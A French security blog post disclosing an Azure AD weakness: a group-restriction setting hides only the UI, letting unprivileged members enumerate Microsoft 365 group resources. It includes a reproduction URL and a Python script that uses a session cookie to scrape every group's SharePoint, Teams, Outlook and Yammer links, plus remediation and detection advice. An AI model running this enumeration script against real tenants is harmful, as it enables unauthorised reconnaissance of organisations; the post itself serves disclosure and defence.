Metsys Blog

Vulnérabilité Azure – Pentest – Technique d’énumération des ressources Microsoft 365

Cliquez pour évaluer cet article !
2 avis

J’ai récemment reporté à l’équipe MSRC de Microsoft un problème qui est, de mon point de vue, une vulnérabilité de sévérité faible. Cette vulnérabilité autorise des « Membres » Azure AD d’énumérer les ressources Office de n’importe quel groupe, bien que des fonctionnalités de sécurité soient activées. Cela peut être exploité par un attaquant durant une phase de reconnaissance interne.

Note : cet article contient des termes anglais, réutilisant la terminologie de Microsoft, et donc volontairement non traduits.

Contexte

Azure AD – Les paramètres

Lors de la configuration de Azure AD, un certain nombre de paramètres sont généralement durcis pour restreindre les permissions des utilisateurs. L’un de ces paramètres est Restrict user ability to access groups features in the Access Panel. Il est utilisé pour empêcher les utilisateurs lambda d’accéder à la fonctionnalité Access Panel groups feature, fonctionnalité permettant notamment d’énumérer les groupes, d’envoyer des requêtes pour rejoindre des groupes et d’accéder aux informations d’un groupe. Après avoir envoyé un rapport à Microsoft, l’équipe MSRC a répondu « The tenant wide setting, “Restrict user ability to access groups features in the Access Panel” controls users access to the My Groups UI ». Comprenez que ce paramètre de sécurité, contrairement à ce qu’un administrateur pourrait croire, désactive seulement l’interface graphique, mais pas l’accès à l’information. Voyons ensemble comment exploiter cela pour faire de la reconnaissance !

Azure AD – Les groupes

Pour commencer, quelques mots à propos des groupes dans Azure AD. Il y a plusieurs types de groupes, dont voici la liste (c.f. documentation Microsoft).

  • Security groupsGroupes utilisés pour la gestion des droits d’accès.
  • Mail-enabled security groupsGroupes utilisés pour la gestion des droits d’accès, mais disposant d’un email de diffusion.
  • M365 GroupsGroups utilisés pour la collaboration entre utilisateurs et/ou avec des personnes externes à l’entreprise. Ces groupes incluent des services collaboratifs comme SharePoint et Planner. Ce sont ces groupes qui nous intéressent !
  • Shared mailboxesGroupes utilisés lorsque plusieurs personnes ont besoin d’accéder à la même boite mail e.g. [email protected].
  • Dynamic distribution groupsGroupes créés et remplis dynamiquement pour envoyer des emails de masse à des groupes d’utilisateurs e.g. communication interne.
  • Distribution groupsGroupes créés et remplis statiquement pour envoyer des emails de masse à des groupes d’utilisateurs e.g. communication interne.

Il est important de noter que, pour les groupes Microsoft 365, des ressources sont généralement associées, et ce sont ces ressources qui vont nous intéresser. Mais avant tout, voyons les différentes méthodes connues pour créer un groupe Microsoft 365, car en fonction de la méthode utilisée, la visibilité (ou privacy) du groupe pourrait être publique.

  • Depuis le portail Azure, il est possible de créer un groupe de sécurité ou un group Microsoft 365. La création d’un group Microsoft 365 sera faite automatiquement avec une visibilité Privée, ce qui est une très bonne chose.
  • En utilisant Azure CLI, et la commande az group create, il n’est possible de créer que des Security groups, privés.
  • A nouveau, en utilisant le cmdlet Msol, la commande New-MsolGroup autorise seulement la création de Security groups privés.
  • En utilisant Azure PowerShell, la commande New-AzADGroup autorise la création de groupes M365, avec une visibilité telle que spécifiée dans les arguments.

La dernière méthode commune pour créer des groupes est le portail d’administration Microsoft 365. Comme présenté sur l’image ci-dessous, la visibilité (privacy) par défaut est publique. En réalité, les administrateurs devraient configurer ce paramètre proprement, mais il arrive souvent que ce ne soit pas le cas, en particulier pour les groupes ayant été créés plusieurs années auparavant, quand la sécurité n’était pas encore l’un des enjeux majeurs pour les entreprises.

Création d’un groupe M365 dans le panneau admin

Pourquoi est-ce intéressant pour un attaquant ?

Comme décrit sur le schéma ci-dessous, en fonction de la configuration de Azure AD, un attaquant authentifié avec un compte utilisateur non-privilégié pourrait énumérer des ressources intéressantes associées aux groupes Microsoft 365 (e.g. SharePoint, Yammer, Teams, list de diffusion Outlook), et s’ajouter automatiquement dans les groupes publics sans aucun contrôle d’accès, afin de pouvoir recevoir les emails envoyés à l’adresse associée.

Attack path

Comportement lorsque le paramètre de sécurité est permissif

Lorsque le paramètre de sécurité Restrict user ability to access groups features in the Access Panel est configuré sur No, alors les utilisateurs ne sont pas restreints et peuvent bien accéder à la fonctionnalité de group de l’Access Panel. Ils peuvent donc voir :

  • La liste des groupes
  • La liste des ressources associées à chaque groupe : Outlook, SharePoint, Yammer, Teams
  • La liste des membres des groupes

Les utilisateurs ont tout intérêt à désactiver cette fonctionnalité pour empêcher leurs utilisateurs d’accéder à ces informations. Note : les utilisateurs invités (Guest) ne peuvent pas voir ces informations par défaut.

Comportement lorsque le paramètre de sécurité est restrictif

Lorsque le paramètre de sécurité Restrict user ability to access groups features in the Access Panel est configuré sur Yes, alors les utilisateurs sont restreints et ne peuvent plus accéder aux données.

Paramètre configuré sur l’option restrictive (Yes)
Fonctionnalité de Groupe dans Access Panel lorsque l’accès est restreint

Voyons comment outrepasser cette restriction !

Exploitation de la vulnérabilité

Preuve

Voici les étapes de reproduction :

  1. En tant qu’administrateur, veiller à configurer Restrict user ability to access groups features in the Access Panel setting sur Yes
  2. S’authentifier en tant qu’utilisateur non privilégié
  3. Récupérer un identifiant de groupe (format GUID)
  4. Accéder à cet URL
https://account.activedirectory.windowsazure.com/r#/manageMembership?objectType=Group&objectId=<identifiantDeGroupe>

Bien entendu, au delà de la preuve, un attaquant ayant compromis un compte utilisateur peut facilement récupérer la liste des groupes de n’importe quelle organisation via la commande az ad group list. Ce n’est d’ailleurs pas dans l’énumération des groupes que réside la vulnérabilité, mais dans l’énumération des ressources associées à tous les groupes M365, car il ne devrait pas être possible d’énumérer ces ressources là.

Automatisation

Ce bout de code n’est pas optimisé, mais permet facilement d’exploiter les vulnérabilités à l’échelle d’une entreprise ayant plusieurs centaines de groupes. Ce script prend un cookie de session en entrée, et fourni un CSV avec tous les groupes, les ressources associées, et la visibilité (privacy) des groupes, pour savoir si l’attaquant peut rejoindre le groupe.

Note : il aurait été également possible de retourner la liste des membres de tous ces groupes, et in fine, énumérer tous les utilisateurs, mais d’autres moyens permettent déjà d’arriver à cela.

import subprocess
import sys
import csv
import requests
import json
# Used to invoke Azure CLI commands
def run(cmd):
    completed = subprocess.run(["powershell", "-Command", cmd], capture_output=True)
    return completed
# Used to export findings into CSV
def write_header():
    s = 'Id,DisplayName,JoinPolicy,SharePointUrl,TeamsUrl,OutlookUrl,YammerUrl\n'
    with open('results.csv', 'a') as result_file:
        result_file.write(s)
# Used to write line into CSV
def write_line(data):
    json_data = json.loads(data)
    print(json_data)
    s = str(json_data['Id']) + ',' + str(json_data['DisplayName']) + ',' + str(json_data['JoinPolicy']) + ',' + str(json_data['SharePointUrl']) + ',' + str(json_data['TeamsUrl']) + ',' + str(json_data['OutlookUrl']) + ',' + str(json_data['YammerUrl']) + '\n'
    
    with open('results.csv', 'a') as result_file:
        result_file.write(s)
# Used to fecth and parse data
def retrieve_data(cookie, guid):
    url_base = "https://account.activedirectory.windowsazure.com"
    url_path = "/group/DetailsData/"
    # Final values
    url = url_base + url_path + guid
    headers = {
        'Cache-Control':'max-age=0',
        'Sec-Ch-Ua':'"Opera";v="93", "Not/A)Brand";v="8", "Chromium";v="107"',
        'Sec-Ch-Ua-Mobile':'?0',
        'Sec-Ch-Ua-Platform':'"Windows"',
        'Upgrade-Insecure-Requests':'1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 OPR/93.0.0.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Sec-Fetch-Site':'none',
        'Sec-Fetch-Mode':'navigate',
        'Sec-Fetch-User':'?1',
        'Sec-Fetch-Dest':'document',
        'Accept-Encoding':'gzip, deflate',
        'Accept-Language':'en-US,en;q=0.9',
        'Connection':'close'
    }
    cookies = {'.AspNet.Cookies': cookie}
    r = requests.get(url, headers=headers, cookies=cookies)
    data = r.content.decode().splitlines()[1]
    return data
    
if __name__ == '__main__':
    # Handle cookie argument.
    # The '.AspNet.Cookies' must not be passed, only the hash value
    cookie = sys.argv[1]
    if not cookie:
        print('Error with provided arguments\nExample: python3 enumerate.py 1EMV2FJC_E_cwrBkZIu_ufEP[...]]7v3Lw')
        sys.exit(1)
    # Shoud be done with az ad group list
    export_groups_cmd = "az login; az ad group list > groups.tmp"
    # CONNECT MSOL
    r = run(cmd=export_groups_cmd)
    if r.returncode != 0:
        print("An error occured: %s", r.stderr)
    else:
        print(export_groups_cmd + " command executed successfully!")
    # Parse JSON
    # Read file
    data = None
    with open("groups.tmp", encoding='utf-16') as data_file:
        write_header()
        groups = json.load(data_file)
        for group in groups:
            data = retrieve_data(cookie, group['id'])
            write_line(data)
    print("*** FILE results.csv CREATED ***")

La vidéo ci-dessous montre le script en action :

Remédiation et Détection

Remédiation

Pour être très clair, il n’existe pas de remédiation possible à l’heure actuelle. Le seul paramètre ayant un impact sur cette fonctionnalité est UsersPermissionToReadOtherUsersEnabled lorsqu’il est configuré sur false, en utilisant la commande ci-dessous. Selon la documentation Microsoft, ce paramètre « Indicates whether to allow users to view the profile info of other users in their company. This setting is applied company-wide. Set to $False to disable users’ ability to use the Azure AD module for Windows PowerShell to access user information for their organization. » Cependant, il semblerait que ce paramètre ait un impact négatif sur l’utilisation de Teams, bien que rien ne soit officiellement documenté à ce sujet.

Set-MsolCompanySettings -UsersPermissionToReadOtherUsersEnabled $false 

Vous aurez peut être noté que les utilisateurs non privilégiés ont par défaut accès à des outils comme Azure CLI. Il n’est pas non plus possible de remédier à cela, mais il est possible d’empêcher l’utilisation du cmdlet Msol grâce à la commande suivante :

Disable-AADIntTenantMsolAccess

Détection

Bien qu’aucune remédiation ne soit viable à l’heure actuelle, il est tout de même possible de détecter ce comportement grâce aux Azure AD non-interactive signin logs, via des événements d’authentification sur l’application Microsoft App Access Panel. L’envoie des logs vers Microsoft Sentinel pourra permettra la création de règles de détection et la levée d’alerte lorsque plusieurs tentatives auront été repérées dans une courte fenêtre de temps.

Détection dans les logs de connexion d’Azure AD

Merci pour votre lecture, et à très vite pour de nouvelles publications inédites !

Notez cet article

Vous avez aimé cet article ?

Rendez-le plus visible auprès des internautes en lui mettant une bonne note.

Cliquez pour évaluer cet article !
2 avis

Articles pouvant vous intéresser